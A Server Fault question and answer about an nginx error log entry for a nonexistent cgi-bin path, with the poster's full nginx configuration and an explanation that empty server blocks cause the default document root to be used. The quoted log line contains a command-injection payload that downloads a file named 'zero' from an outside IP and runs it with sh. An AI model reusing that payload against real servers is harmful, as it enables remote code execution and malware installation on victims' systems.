Access to non-existent folder on Nginx

user587728 asked:

I notice in my nginx "error.log" that someone is trying to access a location which isn’t even listed in my nginx default file (/sites-available/default linked to /sites-enable/default).

When I try to access my site using IP (example http://203.0.113.10/cgi-bin/test), it return 404 and it is logged in "access.log". Not in the "error.log".

Can someone please explain how this was done ? I checked my nginx configuration and don’t see anything wrong with it.

I am on nginx version: nginx/1.18.0 (Ubuntu)

2020/08/11 00:24:32 [error] 269721#269721: *506657 open() 
/usr/share/nginx/html/cgi-bin/kerbynet" failed (2: No such file or directory), client: 192.0.2.4, server: , 
request: "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F198.51.100.55%2Fzero;sh%20zero;%22 HTTP/1.0" 

My nginx default :

server {
        listen 80 default_server;
        listen [::]:80 default_server;

        # SSL configuration
        #
        listen 443 ssl default_server;
        listen [::]:443 ssl default_server;
        ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
        ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        root /var/www/html/cache/;

        # Add index.php to the list if you are using PHP
        index index.html index.php index.htm index.nginx-debian.html;

        server_name _;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }



        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
        }



        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        location ~ /\.ht {
                deny all;
        }
}

the nginx -T output :

# configuration file /etc/nginx/nginx.conf:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {

    ##
    # Basic Settings
    ##

    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;

}

# configuration file /etc/nginx/modules-enabled/50-mod-http-image-filter.conf:
load_module modules/ngx_http_image_filter_module.so;

# configuration file /etc/nginx/modules-enabled/50-mod-http-xslt-filter.conf:
load_module modules/ngx_http_xslt_filter_module.so;

# configuration file /etc/nginx/modules-enabled/50-mod-mail.conf:
load_module modules/ngx_mail_module.so;

# configuration file /etc/nginx/modules-enabled/50-mod-stream.conf:
load_module modules/ngx_stream_module.so;

# configuration file /etc/nginx/mime.types:

types {
    text/html                             html htm shtml;
    text/css                              css;
    text/xml                              xml;
    image/gif                             gif;
    image/jpeg                            jpeg jpg;
    application/javascript                js;
    application/atom+xml                  atom;
    application/rss+xml                   rss;

    text/mathml                           mml;
    text/plain                            txt;
    text/vnd.sun.j2me.app-descriptor      jad;
    text/vnd.wap.wml                      wml;
    text/x-component                      htc;

    image/png                             png;
    image/tiff                            tif tiff;
    image/vnd.wap.wbmp                    wbmp;
    image/x-icon                          ico;
    image/x-jng                           jng;
    image/x-ms-bmp                        bmp;
    image/svg+xml                         svg svgz;
    image/webp                            webp;

    application/font-woff                 woff;
    application/java-archive              jar war ear;
    application/json                      json;
    application/mac-binhex40              hqx;
    application/msword                    doc;
    application/pdf                       pdf;
    application/postscript                ps eps ai;
    application/rtf                       rtf;
    application/vnd.apple.mpegurl         m3u8;
    application/vnd.ms-excel              xls;
    application/vnd.ms-fontobject         eot;
    application/vnd.ms-powerpoint         ppt;
    application/vnd.wap.wmlc              wmlc;
    application/vnd.google-earth.kml+xml  kml;
    application/vnd.google-earth.kmz      kmz;
    application/x-7z-compressed           7z;
    application/x-cocoa                   cco;
    application/x-java-archive-diff       jardiff;
    application/x-java-jnlp-file          jnlp;
    application/x-makeself                run;
    application/x-perl                    pl pm;
    application/x-pilot                   prc pdb;
    application/x-rar-compressed          rar;
    application/x-redhat-package-manager  rpm;
    application/x-sea                     sea;
    application/x-shockwave-flash         swf;
    application/x-stuffit                 sit;
    application/x-tcl                     tcl tk;
    application/x-x509-ca-cert            der pem crt;
    application/x-xpinstall               xpi;
    application/xhtml+xml                 xhtml;
    application/xspf+xml                  xspf;
    application/zip                       zip;

    application/octet-stream              bin exe dll;
    application/octet-stream              deb;
    application/octet-stream              dmg;
    application/octet-stream              iso img;
    application/octet-stream              msi msp msm;

    application/vnd.openxmlformats-officedocument.wordprocessingml.document    docx;
    application/vnd.openxmlformats-officedocument.spreadsheetml.sheet          xlsx;
    application/vnd.openxmlformats-officedocument.presentationml.presentation  pptx;

    audio/midi                            mid midi kar;
    audio/mpeg                            mp3;
    audio/ogg                             ogg;
    audio/x-m4a                           m4a;
    audio/x-realaudio                     ra;

    video/3gpp                            3gpp 3gp;
    video/mp2t                            ts;
    video/mp4                             mp4;
    video/mpeg                            mpeg mpg;
    video/quicktime                       mov;
    video/webm                            webm;
    video/x-flv                           flv;
    video/x-m4v                           m4v;
    video/x-mng                           mng;
    video/x-ms-asf                        asx asf;
    video/x-ms-wmv                        wmv;
    video/x-msvideo                       avi;
}

# configuration file /etc/nginx/sites-enabled/default:
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or WordPress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    # SSL configuration
    #
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    #
    # Note: You should disable gzip for SSL traffic.
    # See: https://bugs.debian.org/773332
    #
    # Read up on ssl_ciphers to ensure a secure configuration.
    # See: https://bugs.debian.org/765782
    #
    # Self signed certs generated by the ssl-cert package
    # Don't use them in a production server!
    #
    # include snippets/snakeoil.conf;

    root /var/www/html/cache/;

    # Add index.php to the list if you are using PHP
    index index.html index.php index.htm index.nginx-debian.html;

    server_name _;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to displaying a 404.
        try_files $uri $uri/ =404;
    }






    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    }

    # pass PHP scripts to FastCGI server
    #
    #location ~ \.php$ {
    #   include snippets/fastcgi-php.conf;
    #
    #   # With php-fpm (or other unix sockets):
    #   fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    #   # With php-cgi (or other tcp sockets):
    #   fastcgi_pass 127.0.0.1:9000;
    #}

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    location ~ /\.ht {
        deny all;
    }
}


# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
    #server {
#   listen 80;
#   listen [::]:80;
#
#   server_name example.com;
#
#   root /var/www/example.com;
#   index index.html;
#
#   location / {
#       try_files $uri $uri/ =404;
#   }
#}

# configuration file /etc/nginx/snippets/fastcgi-php.conf:
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+?\.php)(/.*)$;

# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;
include fastcgi.conf;

# configuration file /etc/nginx/fastcgi.conf:

fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REQUEST_SCHEME     $scheme;
fastcgi_param  HTTPS              $https if_not_empty;

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

# PHP only, required if PHP was built with --enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

# configuration file /etc/nginx/sites-enabled/example.com:
server {

#   listen 80 ;
#   listen [::]:80;

#   server_name example.com;
#  return 301 https://$server_name$request_uri;
#   root /var/www/html/example/webroot;
#   index index.php index.html index.htm;

#   location / {
#       try_files $uri $uri/ /index.php?$args;
#   }

#   location ~ /.well-known/ {
#       allow all;

#           location ~ ^/.well-known/(.+\.php)$ {
        #location ~ \.php$ {

            # Ubuntu 20
#           include snippets/fastcgi-php.conf;
#                   fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
#           }

#   }
#   location ~ \.php$ {
        # Ubuntu 20
#       include snippets/fastcgi-php.conf;
#       fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
#   }

#   location ~ /(\.ht|\.git|\.svn) {
#       deny  all;
#   }

#   return 301 https://$server_name$request_uri;

}


server {

  listen 80 ;
  listen [::]:80;
  listen 443 ssl;
  listen [::]:443 ssl;
  server_name example.com;

    ssl_certificate      /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key  /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot

  client_max_body_size 20M;
  access_log /var/log/nginx/example_access.log;
  error_log /var/log/nginx/example_error.log;
  #underscores_in_headers on;

  root /var/www/html/example/webroot;
  index index.html index.php;


  location / {
#    try_files $uri $uri/ /index.php?$uri;      #&$args;

     # working good
     try_files $uri $uri/ /index.php?$args;
#    set $new_uri $uri;
  }

  location /exampleHiddenPath {

    #Force SSL !!!
    if ($ssl_protocol = "") {
       rewrite ^   https://$server_name$request_uri? permanent;
    }

    auth_basic "Admin Login";
    auth_basic_user_file /etc/nginx/pma_pass;

    root /usr/share/nginx/html/;
    index index.php index.html index.htm;
    location ~ ^/exampleHiddenPath/(.+\.php)$ {

      # Below is for ubuntu 20
      include snippets/fastcgi-php.conf;
      fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;

    }

    location ~* ^/exampleHiddenPath/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
      root /usr/share/nginx/html/;
    }
  }



  location ~ \.php$ {
     # Ubuntu 20
     include snippets/fastcgi-php.conf;
     fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
  }



  location ~ /(\.ht|\.git|\.svn) {
    deny  all;
  }



}

# configuration file /etc/nginx/sites-enabled/staging.example.com:
server {
#  listen 80 ;
#  listen [::]:80;
#  listen 443 ssl;
#  return 301 https://$server_name$request_uri;

#  client_max_body_size 20M;

##  location / {

     # working good
##     try_files $uri $uri/ /index.php?$args;

##  }

}


server {

  listen 80 ;
  listen 443 ssl;
  server_name staging.example.com;

#    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
#    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
#    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
#    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot


    location ~ /.well-known {
      allow all;
    }

  client_max_body_size 20M;
  access_log /var/log/nginx/staging_access.log;
  error_log /var/log/nginx/staging_error.log;
  #underscores_in_headers on;

  root /var/www/html/staging/webroot;
  index index.html index.php;


  location / {
#    try_files $uri $uri/ /index.php?$uri;      #&$args;

     # working good
     try_files $uri $uri/ /index.php?$args;
#    set $new_uri $uri;
  }

  location /exampleHiddenPath {

    #Force SSL !!!
    if ($ssl_protocol = "") {
       rewrite ^   https://$server_name$request_uri? permanent;
    }

    auth_basic "Admin Login";
    auth_basic_user_file /etc/nginx/pma_pass;

    root /usr/share/nginx/html/;
    index index.php index.html index.htm;
    location ~ ^/exampleHiddenPath/(.+\.php)$ {

      # Below is for ubuntu 20
      include snippets/fastcgi-php.conf;
      fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;

    }

    location ~* ^/exampleHiddenPath/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
      root /usr/share/nginx/html/;
    }
  }



  location ~ \.php$ {
     # Ubuntu 20
     include snippets/fastcgi-php.conf;
     fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
  }



  location ~ /(\.ht|\.git|\.svn) {
    deny  all;
  }

}


My answer:


You actually have two empty server blocks with no content (because you commented out the content of the block, but not the block itself). These blocks declare no server_name, thus one will match any (ancient or malformed) HTTP/1.0 request that lacks the Host: header. Since these blocks declare no root, they will serve from the compiled in default document root, which is usually /usr/share/nginx/html. This appears to be why this HTTP/1.0 request was served a 404 after trying to read a nonexistent file.


View the full question and any other answers on Server Fault.

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